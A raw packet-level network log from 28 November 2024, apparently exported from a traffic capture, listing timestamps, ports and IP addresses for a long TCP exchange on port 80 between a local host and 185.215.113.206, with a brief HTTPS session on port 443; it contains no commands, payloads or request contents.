Nov 28, 2024 15:17:42.625313997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.625358105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.625965118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.626146078 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.626199961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.626923084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.626969099 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.627002954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.627211094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.627898932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.627960920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.627976894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.628000975 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.628683090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.628881931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.629587889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.629719019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.629729986 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.629759073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.629797935 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.630534887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.630729914 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.630887032 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.630945921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.631450891 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.631696939 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.631886005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.631927967 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.632349014 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.632390022 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.632613897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.632673979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.633322001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.633378983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.633410931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.633470058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.634257078 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.634609938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.634849072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.634927034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.635142088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.635160923 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.635181904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.635231018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.636039019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.636084080 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.636189938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.636236906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.636934042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.636995077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.637033939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.637092113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.637861013 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.637924910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.767507076 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.770057917 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.770138025 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.772057056 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.790571928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.790755033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.790940046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.791003942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.791003942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.791042089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.791078091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.791131973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.791141987 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.791212082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.792013884 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.792176008 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.792243004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.792877913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.792936087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.793824911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.793860912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.793873072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.793876886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.793911934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.794729948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.794795036 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.794874907 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.795000076 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.795739889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.795757055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.795799017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.795826912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.796541929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.796602964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.796642065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.796746969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.797434092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.797544956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.797590971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.797821999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.798403978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.798456907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.798912048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.798960924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.799283981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.799340010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.799509048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.800035000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.800230026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.800302982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.800484896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.800530910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.801131964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.801192999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.801664114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.802150011 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.802162886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.802176952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.802299023 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.802953005 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.803005934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.803306103 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.803356886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.803864956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.803930044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.804244995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.804297924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.804816961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.804828882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.804877996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.804902077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.805706024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.805757046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.806699038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.806718111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.806731939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.806777954 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.806806087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.807534933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.807605982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.808202982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.808274984 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.808495045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.808511019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.808556080 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.808587074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.809398890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.809463024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.810542107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.810554981 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.810612917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.810621023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.810774088 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.811211109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.811269045 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.811707973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.811918020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.812091112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.812163115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.812310934 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.812381983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.813083887 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.813153982 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.813226938 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.813591003 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.813992023 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.815004110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.815021992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.815033913 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.815092087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.815131903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.815809011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.815865993 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.816030025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.816076994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.816809893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.816854954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.816874027 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.816895008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.817663908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.817677021 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.817724943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.818559885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.818628073 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.818746090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.818804979 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.819453955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.819524050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.819875002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.820132017 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.820360899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.820434093 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.820724010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.820802927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.821285009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.821320057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.821377039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.822196007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.822304010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.822604895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.822658062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.823112965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.823173046 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.823277950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.823326111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.823982954 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.824035883 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.824105024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.824949980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.825017929 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.825037003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.825262070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.825851917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.825906038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.825988054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.826081038 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.826740980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.826852083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.826916933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.827702045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.827745914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.827763081 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.827801943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.828588009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.828658104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.828691006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.828731060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.829508066 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.829616070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.829750061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.829921007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.830442905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.830593109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.830800056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.830890894 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.831329107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.831391096 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.831763983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.832293987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.832350969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.832387924 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.833206892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.833249092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.833281994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.833311081 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.834108114 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.834176064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.834216118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.834305048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.835014105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.835233927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.835309029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.835912943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.835975885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.835978031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.836110115 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.836798906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.836875916 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.837071896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.837496042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.837742090 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.837801933 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.838450909 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.838516951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.838679075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.838690996 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.838737965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.839567900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.839643002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.840109110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.840265989 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.840439081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.840523958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.840709925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.840759039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.841389894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.841458082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.891177893 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.891251087 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.891304970 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.894846916 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.894891024 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.897078991 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.898030043 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.898046017 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.899343014 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:42.943371058 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:42.992374897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.992423058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.992496014 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.992525101 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.992830038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.992877960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.993175983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.993608952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.993827105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.993866920 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.993963957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.994628906 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.994710922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.995592117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.995604992 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.995623112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.995657921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.995714903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.996484995 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.996541977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.997143030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.997203112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.997426987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.997442007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.997505903 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.998490095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.998549938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.998761892 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.998902082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.999272108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.999284983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:42.999325991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:42.999341965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.000247002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.000298977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.000710964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.000761986 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.001077890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.001596928 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.001843929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.002008915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.002022028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.002055883 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.002089977 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.002890110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.002949953 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.003729105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.003865957 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.003876925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.003926039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.004689932 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.005582094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.005599976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.005628109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.005645990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.005657911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.005695105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:43.006530046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:43.006656885 CET	49804	80	192.168.2.6	185.215.113.206
